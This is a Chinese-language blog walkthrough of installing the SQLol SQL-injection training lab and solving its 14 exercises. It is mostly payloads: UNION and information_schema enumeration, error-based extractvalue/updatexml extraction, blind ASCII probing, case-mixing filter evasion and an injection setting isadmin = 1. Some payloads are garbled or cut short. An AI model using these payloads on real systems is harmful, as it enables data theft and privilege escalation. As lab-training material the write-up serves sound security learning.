搭建SQLo靶機與練習

SQLol安裝

實驗器材:Window 7 windows 2008

下載地址:http://github.com/SpiderLabs/MCIR
安裝流程:
Window2008配置:
解壓壓縮包到網站根路徑(例如,我新建一個sql目錄,存放壓縮包內容)
解壓MCIR壓縮包到c盤/xampp/htdocs/sql
在這裏插入圖片描述
打開c盤/xampp/htdocs/sql/sqlol/includes
/database.config.php 修改 u s e r n a m e / username/ username/password等信息;
在這裏插入圖片描述
右擊用vim編輯器打開編輯:
在這裏插入圖片描述
修改 u s e r n a m e / username/ username/password等信息;
在這裏插入圖片描述
打開http://localhost/sql/,可以看到如下界面,點擊RESET,即可完成數據庫的安裝。
在這裏插入圖片描述
在這裏插入圖片描述
出現Done搭建成功:
在這裏插入圖片描述
返回如圖操作:
在這裏插入圖片描述
選擇輸出結果:所有結果和沒有錯誤信息
在這裏插入圖片描述
在這裏插入圖片描述
出現14個練習題:
在這裏插入圖片描述
0.練習:
’ or ‘1’=‘1
在這裏插入圖片描述
1.練習:
查找數據庫
’ and 1=2 union select
concat_ws(char(32,58,32),user(),database(),
version()) #
在這裏插入圖片描述
查找表
’ and 1=2 union all select
TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘sqlol’; #
在這裏插入圖片描述
查找列
’ and 1=2 union select
COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘ssn’;#
在這裏插入圖片描述
顯示所有字段
’ and 1=2 union select
concat_ws(char(32,58,32),name , ssn ) from ssn #
在這裏插入圖片描述
2.練習:
顯示所有字段
1 and 1=2 union
select concat_ws(char(32,58,32),name , ssn) from ssn; #
在這裏插入圖片描述
3.練習
查找數據庫
’ and 1=2 union select
concat_ws(char(32,58,32),user(),database(),version()) #
在這裏插入圖片描述
查找表
’ and 1=2 union all select
TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘sqlol’ LIMIT 1
OFFSET 1; #
在這裏插入圖片描述
查找列
’ and 1=2 union select
COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘ssn’; #
在這裏插入圖片描述
顯示所有字段
’ and 1=2 union select
concat_ws(char(32,58,32),name , ssn ) from ssn LIMIT 1 OFFSET 1 #
在這裏插入圖片描述
4.練習
查找數據庫
’ and (extractvalue(1,
concat(0x7e,(select concat_ws(char(32,58,32),user(),database()))))) and ‘1’=‘1
給出錯誤信息分析:
在這裏插入圖片描述
顯示所有字段
’ and (extractvalue(1, concat(0x7e,(select
concat_ws(char(32,58,32),name , ssn ) from ssn LIMIT 1 OFFSET 1)))) and ‘1’=‘1 #
在這裏插入圖片描述
5.盲注練習
’ or ascii(substring((select
user()),1,1)) = 111#
(1)無反饋:
在這裏插入圖片描述
(2)從111試到了114出來了結果:(111-114是對應ASSIC表中
小寫字母o-r)
’ or ascii(substring((select
user()),1,1)) = 114#
在這裏插入圖片描述
6-7.練習:
’ or
updatexml(0,concat(0x01,(SELECT concat(name,’ ‘,ssn) FROM ssn limit 0,1)),0) #
在這裏插入圖片描述
.練習:
’ uNion seLect
concat(name,’:’,ssn) from ssn uNion selEct null from users whEre
username=’
在這裏插入圖片描述
9.練習
admin’, isadmin = 1 WHERE id = 3#
在這裏插入圖片描述
10.練習
concat(name,’:’,ssn) from ssn#
在這裏插入圖片描述
11.練習
在這裏插入圖片描述
12.練習:
1’ and #>
腳本已注入數據庫,每次都會彈窗。
在這裏插入圖片描述
13.練習
chuNk mACRUnFast%
通過編寫腳本或使用 SQLMAP 進行猜測計算,當猜測正確的時候返回
值是“Got results!”(因爲 Python編程與 SQLMAP)
在這裏插入圖片描述
改了顯示信息欄顯示的結果:
在這裏插入圖片描述



















































































































發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章